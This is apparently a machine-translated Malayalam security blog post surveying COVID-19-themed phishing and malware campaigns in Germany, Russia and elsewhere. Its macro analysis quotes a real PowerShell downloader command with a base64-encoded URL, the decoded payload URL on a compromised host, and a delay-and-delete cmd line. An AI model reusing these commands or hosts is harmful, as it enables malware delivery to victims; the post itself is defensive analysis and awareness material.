കൊറോണ വൈറസ് സൈബർ ആക്രമണങ്ങൾ: മുഴുവൻ പോയിന്റും സോഷ്യൽ എഞ്ചിനീയറിംഗിലാണ്

പകർച്ചവ്യാധിയുമായി ബന്ധപ്പെട്ട എല്ലാ കാര്യങ്ങളിലും അതീവ തല്പരരായ ഉപയോക്താക്കൾക്ക് കൂടുതൽ കൂടുതൽ ഭീഷണികൾ സൃഷ്ടിച്ചുകൊണ്ട് ആക്രമണകാരികൾ COVID-19 വിഷയം ചൂഷണം ചെയ്യുന്നത് തുടരുന്നു. IN അവസാന പോസ്റ്റ് കൊറോണ വൈറസിന്റെ പശ്ചാത്തലത്തിൽ ഏത് തരത്തിലുള്ള ക്ഷുദ്രവെയർ പ്രത്യക്ഷപ്പെട്ടുവെന്നതിനെക്കുറിച്ച് ഞങ്ങൾ ഇതിനകം സംസാരിച്ചു, റഷ്യ ഉൾപ്പെടെ വിവിധ രാജ്യങ്ങളിലെ ഉപയോക്താക്കൾ ഇതിനകം നേരിട്ട സോഷ്യൽ എഞ്ചിനീയറിംഗ് ടെക്നിക്കുകളെക്കുറിച്ച് ഇന്ന് നമ്മൾ സംസാരിക്കും. പൊതുവായ പ്രവണതകളും ഉദാഹരണങ്ങളും വെട്ടിക്കുറച്ചിരിക്കുന്നു.

ഓർക്കുക അവസാന സമയം കൊറോണ വൈറസിനെക്കുറിച്ചും പകർച്ചവ്യാധിയുടെ ഗതിയെക്കുറിച്ചും മാത്രമല്ല, സാമ്പത്തിക സഹായ നടപടികളെക്കുറിച്ചും ആളുകൾ വായിക്കാൻ തയ്യാറാണെന്ന വസ്തുതയെക്കുറിച്ച് ഞങ്ങൾ സംസാരിച്ചു? ഇതാ ഒരു നല്ല ഉദാഹരണം. രസകരമായ ഒരു ഫിഷിംഗ് ആക്രമണം ജർമ്മൻ സംസ്ഥാനമായ നോർത്ത് റൈൻ-വെസ്റ്റ്ഫാലിയ അല്ലെങ്കിൽ NRW ൽ കണ്ടെത്തി. ആക്രമണകാരികൾ സാമ്പത്തിക മന്ത്രാലയത്തിന്റെ വെബ്‌സൈറ്റിന്റെ പകർപ്പുകൾ സൃഷ്ടിച്ചു (NRW സാമ്പത്തിക കാര്യ മന്ത്രാലയം), സാമ്പത്തിക സഹായത്തിനായി ആർക്കും അപേക്ഷിക്കാം. അത്തരമൊരു പ്രോഗ്രാം യഥാർത്ഥത്തിൽ നിലവിലുണ്ട്, അത് തട്ടിപ്പുകാർക്ക് പ്രയോജനപ്രദമായി മാറി. ഇരകളുടെ സ്വകാര്യ വിവരങ്ങൾ ലഭിച്ച അവർ യഥാർത്ഥ മന്ത്രാലയത്തിന്റെ വെബ്‌സൈറ്റിൽ ഒരു അപേക്ഷ നൽകി, പക്ഷേ മറ്റ് ബാങ്ക് വിശദാംശങ്ങൾ സൂചിപ്പിച്ചു. ഔദ്യോഗിക കണക്കുകൾ പ്രകാരം, സ്കീം കണ്ടെത്തുന്നതുവരെ 4 ആയിരം വ്യാജ അഭ്യർത്ഥനകൾ നടത്തിയിട്ടുണ്ട്. തൽഫലമായി, ബാധിതരായ പൗരന്മാർക്കായി ഉദ്ദേശിച്ചിരുന്ന 109 മില്യൺ ഡോളർ തട്ടിപ്പുകാരുടെ കൈകളിലായി.

കോവിഡ്-19-ന് സൗജന്യ പരിശോധന നടത്താൻ നിങ്ങൾ ആഗ്രഹിക്കുന്നുണ്ടോ?

കൊറോണ വൈറസ് തീം ഫിഷിംഗിന്റെ മറ്റൊരു പ്രധാന ഉദാഹരണം കണ്ടെത്തി ഇമെയിലുകളിൽ. കൊറോണ വൈറസ് അണുബാധയ്ക്കുള്ള സൗജന്യ പരിശോധനയ്ക്ക് വിധേയമാകാനുള്ള ഓഫറുമായി സന്ദേശങ്ങൾ ഉപയോക്താക്കളുടെ ശ്രദ്ധ ആകർഷിച്ചു. ഇവയുടെ അറ്റാച്ച്‌മെന്റിൽ അക്ഷരങ്ങൾ Trickbot/Qakbot/Qbot എന്നിവയുടെ സംഭവങ്ങൾ ഉണ്ടായിരുന്നു. അവരുടെ ആരോഗ്യം പരിശോധിക്കാൻ ആഗ്രഹിക്കുന്നവർ "അറ്റാച്ച് ചെയ്ത ഫോം പൂരിപ്പിക്കാൻ" തുടങ്ങിയപ്പോൾ, ക്ഷുദ്രകരമായ ഒരു സ്ക്രിപ്റ്റ് കമ്പ്യൂട്ടറിലേക്ക് ഡൗൺലോഡ് ചെയ്തു. സാൻഡ്‌ബോക്‌സിംഗ് ടെസ്റ്റിംഗ് ഒഴിവാക്കുന്നതിനായി, സ്‌ക്രിപ്റ്റ് പ്രധാന വൈറസ് ഡൗൺലോഡ് ചെയ്യാൻ തുടങ്ങിയത് കുറച്ച് സമയത്തിന് ശേഷമാണ്, ക്ഷുദ്രകരമായ പ്രവർത്തനങ്ങളൊന്നും സംഭവിക്കില്ലെന്ന് സംരക്ഷണ സംവിധാനങ്ങൾക്ക് ബോധ്യപ്പെട്ടപ്പോൾ.

മാക്രോകൾ പ്രവർത്തനക്ഷമമാക്കാൻ മിക്ക ഉപയോക്താക്കളെയും ബോധ്യപ്പെടുത്തുന്നതും എളുപ്പമായിരുന്നു. ഇത് ചെയ്യുന്നതിന്, ഒരു സാധാരണ ട്രിക്ക് ഉപയോഗിച്ചു: ചോദ്യാവലി പൂരിപ്പിക്കുന്നതിന്, നിങ്ങൾ ആദ്യം മാക്രോകൾ പ്രവർത്തനക്ഷമമാക്കേണ്ടതുണ്ട്, അതായത് നിങ്ങൾ ഒരു VBA സ്ക്രിപ്റ്റ് പ്രവർത്തിപ്പിക്കേണ്ടതുണ്ട്.

നിങ്ങൾക്ക് കാണാനാകുന്നതുപോലെ, VBA സ്ക്രിപ്റ്റ് ആന്റിവൈറസുകളിൽ നിന്ന് പ്രത്യേകമായി മറച്ചിരിക്കുന്നു.

"അതെ" എന്ന ഡിഫോൾട്ട് ഉത്തരം സ്വീകരിക്കുന്നതിന് മുമ്പ് ആപ്ലിക്കേഷൻ /T <സെക്കൻഡ്> കാത്തിരിക്കുന്ന ഒരു കാത്തിരിപ്പ് സവിശേഷത വിൻഡോസിനുണ്ട്. ഞങ്ങളുടെ കാര്യത്തിൽ, താൽക്കാലിക ഫയലുകൾ ഇല്ലാതാക്കുന്നതിന് മുമ്പ് സ്ക്രിപ്റ്റ് 65 സെക്കൻഡ് കാത്തിരുന്നു:

cmd.exe /C choice /C Y /N /D Y /T 65 & Del C:UsersPublictmpdirtmps1.bat & del C:UsersPublic1.txt

കാത്തിരിക്കുമ്പോൾ, മാൽവെയർ ഡൗൺലോഡ് ചെയ്തു. ഇതിനായി ഒരു പ്രത്യേക പവർഷെൽ സ്ക്രിപ്റ്റ് സമാരംഭിച്ചു:

cmd /C powershell -Command ""(New-Object Net.WebClient).DownloadFile([System.Text.Encoding]::ASCII.GetString([System.Convert]: :FromBase64String('aHR0cDovL2F1dG9tYXRpc2NoZXItc3RhdWJzYXVnZXIuY29tL2ZlYXR1cmUvNzc3Nzc3LnBuZw==')), [System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcUHVibGljXHRtcGRpclxmaWxl')) + '1' + '.e' + 'x' + 'e') >C:UsersPublic1.txt

Base64 മൂല്യം ഡീകോഡ് ചെയ്ത ശേഷം, ജർമ്മനിയിൽ നിന്ന് മുമ്പ് ഹാക്ക് ചെയ്ത വെബ് സെർവറിൽ സ്ഥിതി ചെയ്യുന്ന ബാക്ക്ഡോർ PowerShell സ്ക്രിപ്റ്റ് ഡൗൺലോഡ് ചെയ്യുന്നു:

http://automatischer-staubsauger.com/feature/777777.png

എന്ന പേരിൽ സംരക്ഷിക്കുകയും ചെയ്യുന്നു:

C:UsersPublictmpdirfile1.exe

ഫോൾഡർ ‘C:UsersPublictmpdir’ കമാൻഡ് അടങ്ങുന്ന 'tmps1.bat' ഫയൽ പ്രവർത്തിപ്പിക്കുമ്പോൾ ഇല്ലാതാക്കുന്നു cmd /c mkdir ""C:UsersPublictmpdir"".

സർക്കാർ ഏജൻസികൾക്ക് നേരെയുള്ള ആക്രമണം

കൂടാതെ, ഫയർ ഐ അനലിസ്റ്റുകൾ അടുത്തിടെ വുഹാനിലെ സർക്കാർ ഘടനകളെയും ചൈനീസ് എമർജൻസി മാനേജ്‌മെന്റ് മന്ത്രാലയത്തെയും ലക്ഷ്യമിട്ടുള്ള ടാർഗെറ്റുചെയ്‌ത APT32 ആക്രമണം റിപ്പോർട്ട് ചെയ്തു. വിതരണം ചെയ്ത ആർടിഎഫുകളിലൊന്നിൽ ന്യൂയോർക്ക് ടൈംസിന്റെ ലേഖനത്തിലേക്കുള്ള ലിങ്ക് ഉണ്ടായിരുന്നു കൊറോണ വൈറസ് തത്സമയ അപ്‌ഡേറ്റുകൾ: ഹുബെയിൽ നിന്നുള്ള സഞ്ചാരികളെ ചൈന ട്രാക്ക് ചെയ്യുന്നു. എന്നിരുന്നാലും, ഇത് വായിച്ചപ്പോൾ, ക്ഷുദ്രവെയർ ഡൗൺലോഡ് ചെയ്യപ്പെട്ടു (ഫയർ ഐ അനലിസ്റ്റുകൾ ഈ സംഭവം METALJACK ആണെന്ന് തിരിച്ചറിഞ്ഞു).

കൗതുകകരമെന്നു പറയട്ടെ, കണ്ടുപിടിക്കുന്ന സമയത്ത്, ആന്റിവൈറസുകളൊന്നും ഈ സംഭവം കണ്ടെത്തിയില്ല, വൈറസ്സ്റ്റോട്ടൽ പറയുന്നു.

ഔദ്യോഗിക വെബ്സൈറ്റുകൾ പ്രവർത്തനരഹിതമാകുമ്പോൾ

ഫിഷിംഗ് ആക്രമണത്തിന്റെ ഏറ്റവും ശ്രദ്ധേയമായ ഉദാഹരണം കഴിഞ്ഞ ദിവസം റഷ്യയിൽ സംഭവിച്ചു. 3 മുതൽ 16 വയസ്സുവരെയുള്ള കുട്ടികൾക്ക് ദീർഘകാലമായി കാത്തിരുന്ന ആനുകൂല്യം നിയമിച്ചതാണ് ഇതിന് കാരണം. 12 മെയ് 2020-ന് അപേക്ഷകൾ സ്വീകരിക്കുന്നതിന്റെ ആരംഭം പ്രഖ്യാപിച്ചപ്പോൾ, ദശലക്ഷക്കണക്കിന് ആളുകൾ ദീർഘകാലമായി കാത്തിരുന്ന സഹായത്തിനായി സ്റ്റേറ്റ് സർവീസസ് വെബ്‌സൈറ്റിലേക്ക് ഓടിയെത്തി, ഒരു പ്രൊഫഷണൽ DDoS ആക്രമണത്തേക്കാൾ മോശമല്ല. "സർക്കാർ സേവനങ്ങൾക്ക് അപേക്ഷകളുടെ ഒഴുക്കിനെ നേരിടാൻ കഴിയുന്നില്ല" എന്ന് പ്രസിഡന്റ് പറഞ്ഞപ്പോൾ, അപേക്ഷകൾ സ്വീകരിക്കുന്നതിന് ഒരു ബദൽ സൈറ്റ് ആരംഭിക്കുന്നതിനെക്കുറിച്ച് ആളുകൾ ഓൺലൈനിൽ സംസാരിക്കാൻ തുടങ്ങി.

ഒരേസമയം നിരവധി സൈറ്റുകൾ പ്രവർത്തിക്കാൻ തുടങ്ങിയതാണ് പ്രശ്‌നം, അതേസമയം posobie16.gosuslugi.ru-ലെ യഥാർത്ഥമായ ഒന്ന്, യഥാർത്ഥത്തിൽ ആപ്ലിക്കേഷനുകൾ സ്വീകരിക്കുന്നു, കൂടുതൽ വഞ്ചനാപരമായ ഉപയോക്താക്കളുടെ വ്യക്തിഗത ഡാറ്റ ഡസൻ കണക്കിന് ശേഖരിക്കുന്നു.

SearchInform-ൽ നിന്നുള്ള സഹപ്രവർത്തകർ .ru സോണിൽ ഏകദേശം 30 പുതിയ വ്യാജ ഡൊമെയ്‌നുകൾ കണ്ടെത്തി. ഇൻഫോസെക്യൂരിറ്റിയും സോഫ്റ്റ്‌ലൈൻ കമ്പനിയും ഏപ്രിൽ ആദ്യം മുതൽ സമാനമായ 70-ലധികം വ്യാജ സർക്കാർ സേവന വെബ്‌സൈറ്റുകൾ ട്രാക്ക് ചെയ്തിട്ടുണ്ട്. അവരുടെ സ്രഷ്‌ടാക്കൾ പരിചിതമായ ചിഹ്നങ്ങൾ കൈകാര്യം ചെയ്യുന്നു, കൂടാതെ gosuslugi, gosuslugi-16, vyplaty, covid-vyplaty, posobie തുടങ്ങിയ വാക്കുകളുടെ കോമ്പിനേഷനുകളും ഉപയോഗിക്കുന്നു.

ഹൈപ്പും സോഷ്യൽ എഞ്ചിനീയറിംഗും

കൊറോണ വൈറസ് എന്ന വിഷയത്തിൽ ആക്രമണകാരികൾ വിജയകരമായി ധനസമ്പാദനം നടത്തുന്നുണ്ടെന്ന് ഈ ഉദാഹരണങ്ങളെല്ലാം സ്ഥിരീകരിക്കുന്നു. സാമൂഹിക പിരിമുറുക്കവും കൂടുതൽ വ്യക്തമല്ലാത്ത പ്രശ്‌നങ്ങളും കൂടുന്നതിനനുസരിച്ച്, സ്‌കാമർമാർക്ക് പ്രധാനപ്പെട്ട ഡാറ്റ മോഷ്‌ടിക്കാനോ ആളുകളെ അവരുടെ പണം സ്വന്തമായി ഉപേക്ഷിക്കാനോ അല്ലെങ്കിൽ കൂടുതൽ കമ്പ്യൂട്ടറുകൾ ഹാക്ക് ചെയ്യാനോ ഉള്ള സാധ്യത കൂടുതലാണ്.

പാൻഡെമിക് തയ്യാറാകാത്ത ആളുകളെ വീട്ടിൽ നിന്ന് കൂട്ടമായി ജോലി ചെയ്യാൻ നിർബന്ധിതരാക്കിയതിനാൽ, വ്യക്തിഗത മാത്രമല്ല, കോർപ്പറേറ്റ് ഡാറ്റയും അപകടത്തിലാണ്. ഉദാഹരണത്തിന്, അടുത്തിടെ മൈക്രോസോഫ്റ്റ് 365 (മുമ്പ് ഓഫീസ് 365) ഉപയോക്താക്കളും ഫിഷിംഗ് ആക്രമണത്തിന് വിധേയരായി. അക്ഷരങ്ങളിലേക്കുള്ള അറ്റാച്ച്‌മെന്റുകളായി ആളുകൾക്ക് "നഷ്‌ടമായ" ശബ്ദ സന്ദേശങ്ങൾ ലഭിച്ചു. എന്നിരുന്നാലും, ഫയലുകൾ യഥാർത്ഥത്തിൽ ആക്രമണത്തിന് ഇരയായവരെ അയച്ച ഒരു HTML പേജായിരുന്നു വ്യാജ Microsoft 365 സൈൻ-ഇൻ പേജ്. തൽഫലമായി, അക്കൗണ്ടിൽ നിന്നുള്ള എല്ലാ ഡാറ്റയുടെയും ആക്സസ് നഷ്ടപ്പെടുകയും വിട്ടുവീഴ്ച ചെയ്യുകയും ചെയ്യുന്നു.

അവലംബം: www.habr.com